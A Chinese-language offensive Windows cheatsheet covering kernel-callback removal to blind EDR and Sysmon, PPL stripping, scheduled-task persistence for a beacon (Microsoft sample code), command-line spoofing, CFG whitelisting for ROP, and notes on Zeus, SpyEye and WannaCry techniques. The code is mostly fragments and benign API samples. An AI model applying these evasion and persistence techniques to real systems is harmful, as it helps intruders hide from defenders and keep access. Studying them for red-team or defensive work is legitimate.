内核回调(Kernel Callbacks)由微软引入,主要是为了给 AV/EDR 厂商提供一种更好的监控和阻止可疑操作的方式(在此之前,许多安全产品使用内核模式修补(如 SSDT 挂钩)来完成同样的工作,但新的 PatchGuard 保护迫使它们采用这种新方案)。
内核回调有几种类型,尤其是:
- ProcessNotify:在进程创建或退出时调用。
- ThreadNotify:在线程创建或退出(被删除)时调用。
- LoadImageNotify:当某个可执行映像被其他可执行文件加载时调用(例如:进程加载 DLL)。
每个类型都有其关联的函数,例如 PsSetCreateProcessNotifyRoutineEx 用于在驱动程序中设置它们。后者会在 Windows 系统中创建或删除新进程时注册一个回调例程。其原型定义如下:```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** 是一个指向回调例程的指针,当事件被触发时(此处为进程创建/退出),该回调例程将被调用。
**Remove** 是一个简单的标志,用于指示 PsSetCreateProcessNotify 将注册该回调函数还是删除它(在驱动程序的清理函数中很有用)。
回调函数将使用以下原型 :```cpp
void OnProcessNotify(
PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo
);
其中 Process 是当前正在创建/删除的进程,ProcessId 是该进程的 ID,而 CreateInfo 是一个包含有关该进程的各种信息的结构。
当驱动程序注册新的回调例程时,其地址将存储在一个通常名为 Pspname_of_your_callback 的数组中。例如,所有 ProcessNotifyRoutine 函数的列表存储在 PspCreateProcessNotifyRoutine 数组中。
要移除这些回调,你只需要清空这个数组!
不幸的是,这个令人兴奋的数组的地址并没有任何直接的获取方式。幸运的是,有很多方法可以手动做到这一点,例如通过搜索内存中的特定偏移量。
一旦你找到正确的地址,就可以枚举所有已注册的回调,并按驱动程序名称过滤它们 (Sysmon 驱动也许 ?:)),然后只移除列表中对应的回调函数。
受保护进程(Protected Processes)自 Windows Vista 起引入。它可以定义为一个名为 EPROCESS 的结构体(未定义:https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess),该结构体通过三个有趣的成员来定义进程是否受保护:``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION
The third member (Protection) is a PS_PROTECTION struct which is defined as below :```
_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0, 3 Bits
+0x000 Audit : Pos 3, 1 Bit
+0x000 Signer : Pos 4, 4 Bits
要移除 PPL 保护,你必须将 SignatureLevel、SectionSignatureLevel 和 Protection 设置为 0。
由于 EPROCESS 基址与 PS_PROTECTION 之间的偏移量为 0x6c8,你可以通过将这两个值相加来获得它。
示例代码: //todo
注意:本部分中的几个示例取自:https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations
在 Windows 操作系统中,“常规”的计划任务创建方式需要通过图形界面(任务计划程序)完成。这对我们来说并不实用,因为我们通常只能获得被攻陷系统的命令行会话。
幸运的是,我们可以使用 Win32 API 来创建此类任务,从而为你的 beacon 实现出色的持久化,或用于提权。
基本上,你需要初始化 COM 库,然后使用 CoCreateInstance() API 创建 ITaskService 类的新实例。接下来,你可以修改 ITaskService 对象,以设置根文件夹、操作、时间等更多内容。下面是一个示例:```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/
#define _WIN32_DCOM
#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
if( FAILED(hr) )
{
printf("\nCoInitializeSecurity failed: %x", hr );
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";
// ------------------------------------------------------
// Create an instance of the Task Service.
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService );
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if( FAILED(hr) )
{
printf("ITaskService::Connect failed: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
printf("Cannot get Root Folder pointer: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0 );
// Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );
pService->Release(); // COM clean up. Pointer is no longer used.
if (FAILED(hr))
{
printf("Failed to create a task definition: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
printf("\nCannot get identification pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
printf("\nCannot put identification info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
printf("\nCannot get settings pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
printf("\nCannot put setting info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
printf("\nCannot get trigger collection: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger );
pTriggerCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
printf("\nCannot put the trigger ID: %x", hr);
// Set the task to start at a certain time. The time
// format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
// For example, the start boundary below
// is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
printf("\nCannot put the start boundary: %x", hr);
hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
printf("\nCannot put the end boundary: %x", hr);
// Delay the task to start 30 seconds after system start.
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
printf("\nCannot put delay for boot trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection *pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
printf("\nCannot get Task collection pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the action: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IExecAction *pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IExecAction: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) );
pExecAction->Release();
if( FAILED(hr) )
{
printf("\nCannot set path of executable: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t( wszTaskName ),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
if( FAILED(hr) )
{
printf("\nError saving the Task : %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("\n Success! Task successfully registered. " );
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
## 命令行欺骗
即使有 sysmon/process hacker 监控也能完美运行;它能够隐藏你的命令行参数,这在渗透测试/红队行动中非常有用(```powershell -enc .....```)
要实现这一目标,你可以以挂起模式(suspended mode)生成一个带有“合法”命令行参数的新进程,然后直接在 PEB 中编辑这些参数。
Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
# 其他内容
## x64 调用约定
- 前 4 个整数参数通过寄存器 `RCX`、`RDX`、`R8` 和 `R9` 传递。
- 其余参数被压入栈中。
- 返回地址之后是一个为 `RCX`、`RDX`、`R8` 和 `R9` 保留的 32 字节区域。
- 局部变量和非易失寄存器存储在返回地址上方。
- `RBP` 不用于引用局部变量/函数参数,`RSP` 在函数执行期间保持不变。
> 注意:
> - 如果函数具有可变数量的参数,则必须使用栈来传递它们
> - 如果返回值是一个结构体,则由调用方负责为返回值分配空间,并将指向该空间的指针作为第一个参数传递
> - 被调用方负责保存 `RBX`、`RBP` 和 `R12`–`R15` 寄存器的值,但可以自由修改其他寄存器
> - 在调用点,栈按 16 字节边界对齐
> - 被调用方负责在返回之前将栈指针 (`RSP`) 恢复到其原始值
## 间接执行
这里的间接执行指的是通过 ROP 来实现某些任务的执行,你需要将参数添加到正确的寄存器中,为此你必须理解 [x64 调用约定](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention)。
- 使用 `CONTEXT` 结构的 ROP 需要 `RtlCaptureContext` 来获取当前上下文,并使用 `NtContinue` 来继续执行 ROP,其中 `CONTEXT` 结构作为参数填充,将正确的函数参数放入正确的寄存器。如果你愿意,你也可以用汇编构建自己的 ROP。
### 使用 SetProcessValidCallTargets 绕过 CFG
这并非真正的绕过,而是会将你在 ROP 中使用的函数(即 `NtContinue`)加入白名单。```c
CFG_CALL_TARGET_INFO Cfg = { 0 };
Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags = CFG_CALL_TARGET_VALID;
SetProcessValidCallTargets( ( HANDLE )-1, Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );
该技术已在知名恶意软件 Emotet 中被发现。为了生成一个新的 powershell 进程(旨在执行某些载荷),它借助 WMI 实例使用 COM API。通过这一技巧,powershell 进程会作为 WMIPrvSE 进程的子进程被生成,这比由可疑的 exe 甚至 Word 文件生成进程要隐蔽得多。
知名 Zeus 恶意软件使用了一种相当巧妙的手法,在受感染系统中隐藏其日志(键盘记录、密码等)。它挂钩 NtQueryDirectoryFile() 函数来过滤显示的结果。```cpp
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
if (file_matches) {
// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;
来源 : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## SpyEye 键盘记录器挂钩技术
SpyEye 恶意软件挂钩 ```TranslateMessage()``` 函数以保存按键记录:该挂钩过程使用 ```GetKeyboardState``` 函数将键入的字符添加到 20000 字节的缓冲区中。
来源 : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## Wannacry 失效开关(KillSwitch)
Wannacry 勒索软件使用了一个失效开关(killswitch)URL,该 URL 在主载荷执行之前被解析。在这个域名被注册后,所有 Wannacry 样本都被禁用了。该技术在此处有相关介绍:https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
有趣的是:这个域名是明文字符串,没有任何混淆。挺有意思的:)